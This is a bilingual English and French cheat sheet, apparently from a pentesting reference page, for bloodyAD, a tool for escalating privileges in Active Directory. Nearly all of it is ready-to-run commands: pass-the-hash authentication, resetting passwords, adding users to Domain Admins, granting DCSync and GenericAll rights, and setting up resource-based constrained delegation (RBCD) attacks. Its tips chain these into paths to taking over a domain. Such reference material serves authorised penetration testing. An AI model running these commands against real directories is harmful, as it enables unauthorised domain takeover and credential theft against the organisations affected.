bloodyAD
Couteau suisse de l'élévation de privilèges Active Directory. Réalise des opérations AD ciblées via LDAP/RPC : ajouter des utilisateurs à des groupes, réinitialiser des mots de passe, accorder des droits DCSync, et abuser de mauvaises configurations de DACL. Active Directory privilege escalation Swiss-army knife. Performs targeted AD operations via LDAP/RPC: add users to groups, reset passwords, grant DCSync rights, and abuse DACL misconfigurations.
↗ https://github.com/CravateRouge/bloodyADOverview
bloodyAD automates common Active Directory privilege escalation operations via LDAP. It targets specific AD object permissions (DACLs) to perform actions like adding users to groups, resetting passwords, granting rights, and abusing misconfigurations — all without running code on domain-joined machines.
Authentication
Username + password
bloodyAD -d domain.local -u user -p 'password' --host dc01.domain.local [command]
Pass-the-hash (NTLM)
bloodyAD -d domain.local -u user -p :NTLMhash --host 10.10.10.1 [command]
# Kerberos (with ccache)
export KRB5CCNAME=/tmp/user.ccache
bloodyAD -d domain.local -k --host dc01.domain.local [command]
Certificate-based auth
bloodyAD -d domain.local -c /path/to/cert.pfx --host dc01.domain.local [command]
User Operations
Change/reset a user’s password
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
set password jdoe 'NewPassword123!'
Add a user to a group
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add groupMember "Domain Admins" jdoe
Remove user from group
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
remove groupMember "Domain Admins" jdoe
Create a new user
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add user hacker 'Hacker123!'
DACL Abuse
Grant DCSync rights to a user (Replicating Directory Changes All)
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add dcsync jdoe
Grant GenericAll on an object
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add genericAll cn=target,dc=domain,dc=local jdoe
Grant WriteOwner
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
set owner "Domain Admins" jdoe
Computer Account Operations
Add a computer account (useful for RBCD attacks)
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
add computer EVILPC 'EvilPass123!'
Set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add rbcd TARGET_COMPUTER ATTACKER_COMPUTER$
Enumeration
Get object attributes
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
get object "cn=jdoe,cn=users,dc=domain,dc=local"
Get writable objects (where we have write permissions)
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
get writable --otype user
Get domain info
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
get domain
Tips
- bloodyAD requires only LDAP access — useful when SMB (445) is filtered
add dcsyncis a quick path from GenericAll/WriteDACL → DCSync- Pair with BloodHound: identify the DACL path, then execute with bloodyAD
get writableis excellent for discovering your current privilege level
Command reference
bloodyAD [auth options] --host DC [command]
get:
object DN Get LDAP object attributes
writable List objects we can write to
domain Domain information
add:
user NAME PASS Create user
computer NAME PASS Create computer account
groupMember GRP USR Add user to group
dcsync USER Grant DCSync rights
genericAll OBJ USR Grant GenericAll
rbcd TARGET SRC Set RBCD delegation
uac USER FLAG Set UAC flag
set:
password USER PASS Reset user password
object DN ATTR VAL Set LDAP attribute
owner OBJ NEW_OWNER Change object owner
remove:
groupMember GRP USR Remove from group
dcsync USER Remove DCSync rights
computer NAME Delete computer account
Vue d’ensemble
bloodyAD automatise les opérations courantes d’élévation de privilèges Active Directory via LDAP. Il cible des permissions spécifiques sur les objets AD (les DACL) pour effectuer des actions comme ajouter des utilisateurs à des groupes, réinitialiser des mots de passe, accorder des droits et abuser de mauvaises configurations, le tout sans exécuter de code sur les machines jointes au domaine.
Authentification
# Nom d'utilisateur + mot de passe
bloodyAD -d domain.local -u user -p 'password' --host dc01.domain.local [command]
# Pass-the-hash (NTLM)
bloodyAD -d domain.local -u user -p :NTLMhash --host 10.10.10.1 [command]
# Kerberos (avec ccache)
export KRB5CCNAME=/tmp/user.ccache
bloodyAD -d domain.local -k --host dc01.domain.local [command]
# Auth par certificat
bloodyAD -d domain.local -c /path/to/cert.pfx --host dc01.domain.local [command]
Opérations sur les utilisateurs
# Changer/réinitialiser le mot de passe d'un utilisateur
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
set password jdoe 'NewPassword123!'
# Ajouter un utilisateur à un groupe
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add groupMember "Domain Admins" jdoe
# Retirer un utilisateur d'un groupe
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
remove groupMember "Domain Admins" jdoe
# Créer un nouvel utilisateur
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add user hacker 'Hacker123!'
Abus de DACL
# Accorder des droits DCSync à un utilisateur (Replicating Directory Changes All)
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add dcsync jdoe
# Accorder GenericAll sur un objet
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add genericAll cn=target,dc=domain,dc=local jdoe
# Accorder WriteOwner
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
set owner "Domain Admins" jdoe
Opérations sur les comptes machine
# Ajouter un compte machine (utile pour les attaques RBCD)
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
add computer EVILPC 'EvilPass123!'
# Définir msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
bloodyAD -d domain.local -u admin -p 'pass' --host dc01 \
add rbcd TARGET_COMPUTER ATTACKER_COMPUTER$
Énumération
# Récupérer les attributs d'un objet
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
get object "cn=jdoe,cn=users,dc=domain,dc=local"
# Récupérer les objets modifiables (là où on a les permissions d'écriture)
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
get writable --otype user
# Récupérer les infos du domaine
bloodyAD -d domain.local -u user -p 'pass' --host dc01 \
get domain
Conseils
- bloodyAD ne nécessite qu’un accès LDAP : utile quand le SMB (445) est filtré
add dcsyncest un chemin rapide de GenericAll/WriteDACL vers DCSync- À combiner avec BloodHound : identifiez le chemin de DACL, puis exécutez-le avec bloodyAD
get writableest excellent pour découvrir votre niveau de privilège actuel
Référence des commandes
bloodyAD [auth options] --host DC [command]
get:
object DN Get LDAP object attributes
writable List objects we can write to
domain Domain information
add:
user NAME PASS Create user
computer NAME PASS Create computer account
groupMember GRP USR Add user to group
dcsync USER Grant DCSync rights
genericAll OBJ USR Grant GenericAll
rbcd TARGET SRC Set RBCD delegation
uac USER FLAG Set UAC flag
set:
password USER PASS Reset user password
object DN ATTR VAL Set LDAP attribute
owner OBJ NEW_OWNER Change object owner
remove:
groupMember GRP USR Remove from group
dcsync USER Remove DCSync rights
computer NAME Delete computer account